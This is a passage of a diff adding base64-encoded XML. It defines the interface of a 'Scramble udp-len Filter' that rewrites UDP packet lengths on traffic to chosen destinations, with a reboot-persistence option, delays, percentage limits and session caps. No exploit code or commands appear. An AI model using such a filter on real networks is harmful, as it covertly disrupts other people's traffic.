+dXJzZWxhYmVsPkRlc3RpbmF0aW9uIElQPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8
+dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+NTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+ICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIE1hc2s8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj42PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxj
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfNzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydCBE
+c3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzg8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5k
+IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj44PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl85PC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UHJvdG9jb2w8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4x
+Njwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjk8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRl
+cy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAg
+ICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICAgIDxvcHRpb25hbF9wYXJhbWV0ZXJz
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJlbiI+DQogICAgICAgICAgICAgIDxjYXNl
+c2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfcGFyYW1fZW48L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+RW5hYmxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5FbmFibGVzIHRoZSBydWxlIG9uIGNyZWF0aW9uPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0icHMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwv
+Y2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Bz
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBlcnNpc3Q8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnBy
+ZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkVuYWJsZSB0aGUg
+ZmlsdGVyIHRvIHN1cnZpdmUgcmVib290cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRl
+ciBmbGFnPSJyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5z
+aXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9yPC9uY3Vyc2Vp
+ZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkF1dG8gUmVzdGFydDwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJlc2Vu
+Y2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjEwPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkF1dG9tYXRpY2FsbHkg
+cmUtZW5hYmxlIHRoZSBmaWx0ZXIgd2hlbiB0ZXJtaW5hdGlvbiBpcyByZWFjaGVkLjwvaGVscHRl
+eHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+
+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InRkIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV90ZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5U
+aW1lIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTU8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICAgIDxoZWxwdGV4dD5UaW1lIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLiAgVGhlIGZv
+cm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUuIDM2MDAsIG9yIG9uZSBjaGFyYWN0ZXIgc3BlY2lmaWVy
+cyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMsIGFuZCBzZWNvbmRzIGkuZS4gMWQgMmggM20gNHMu
+PC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3Bh
+cmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0idCI+DQogICAgICAgICAgICAg
+IDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5UaW1lIER1cmF0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0
+ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMjwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5EdXJhdGlvbiBwYWNrZXRzIHdpbGwgYmUgYWZmZWN0ZWQg
+YnkgZmlsdGVyLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUuIDM2MDAsIG9yIG9uZSBj
+aGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMsIGFuZCBzZWNvbmRz
+IGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0i
+c2QiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3NkPC9uY3Vyc2VpZD4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNlc3Npb24gRGVsYXk8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjEzPC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51bWJlciBvZiBzZXNzaW9ucyB0byBp
+Z25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxwdGV4dD4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAg
+IDxwYXJhbWV0ZXIgZmxhZz0icyI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNl
+PC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1f
+czwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIFBlcmNlbnRh
+Z2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjE0PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBl
+cmNlbnRhZ2Ugb2Ygc2Vzc2lvbnMgZmlsdGVyIHdpbGwgYWZmZWN0LjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InNtIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9zbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5NYXggU2Vzc2lv
+bnM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjE1PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1h
+eGltdW0gbnVtYmVyIG9mIHNlc3Npb24gdG8gYWZmZWN0IGJlZm9yZSBmaWx0ZXIgaXMgdGVybWlu
+YXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwZCI+DQogICAgICAg
+ICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+UGFja2V0IERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNjwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2YgcGFja2V0cyB0byBpZ25vcmUgYmVmb3JlIGZp
+bHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxh
+Zz0icCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMy
+PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAg
+IDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTc8
+L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+UGVyY2VudGFnZSBvZiBwYWNr
+ZXRzIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBm
+bGFnPSJwbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0
+aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcG08L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFBhY2tldHM8L25jdXJzZWxhYmVsPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwv
+dHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8
+ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE4PC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1heGltdW0gbnVtYmVyIG9mIHBh
+Y2tldHMgdG8gYWZmZWN0IGJlZm9yZSBmaWx0ZXIgaXMgdGVybWluYXRlZC48L2hlbHB0ZXh0Pg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAg
+ICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJkaXIiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX2RpcjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EaXJl
+Y3Rpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjE5PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0
+PlRoZSBkaXJlY3Rpb24gaW4gYSBjbGllbnQgc2VydmVyIGNvbm5lY3Rpb24gdGhhdCB0aGlzIGZp
+bHRlciBhcHBsaWVzIHRvLiAgSWYgZmxhZyBpcyBub3QgdXNlZCwgYm90aCBkaXJlY3Rpb24gd2ls
+bCBiZSBmaWx0ZXJlZCBvbi4gIElmIDEgaXMgZW50ZXJlZCwgb25seSBjb25uZWN0aW9ucyBmcm9t
+IHRoZSBjbGllbnQgd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElmIDIsIG9ubHkgdGhvc2UgZnJvbSB0
+aGUgc2VydmVyLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImwiPg0KICAg
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2w8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+VURQIExlbmd0aCBNaW5pbXVtPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2
+YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDEzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1pbmltdW0gdmFsdWUgZm9yIHVkcCBsZW5ndGgg
+YXNzaWdubWVudC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJoaSI+DQog
+ICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1faDwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5VRFAgTGVuZ3RoIE1heGltdW08L25jdXJzZWxhYmVsPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVs
+dHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMTM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjM8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11bSB2YWx1ZSBmb3IgdWRwIGxlbmd0
+aCBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgPC9vcHRpb25hbF9wYXJhbWV0ZXJzPg0K
+ICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxlPlNj
+cmFtYmxlIHVkcC1sZW4gRmlsdGVyPC90aXRsZT4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvZWxl
+bWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzM8
+L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+NDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9lbGVtZW50
+Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L2VsZW1l
+bnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvZWxl
+bWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVs
+ZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl85PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uLz4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAg
+ICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxl
+bWVudD5zY3JhbWJsZV9wYXJhbV9lbjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFy
+YW1fcHM8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3I8L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNl
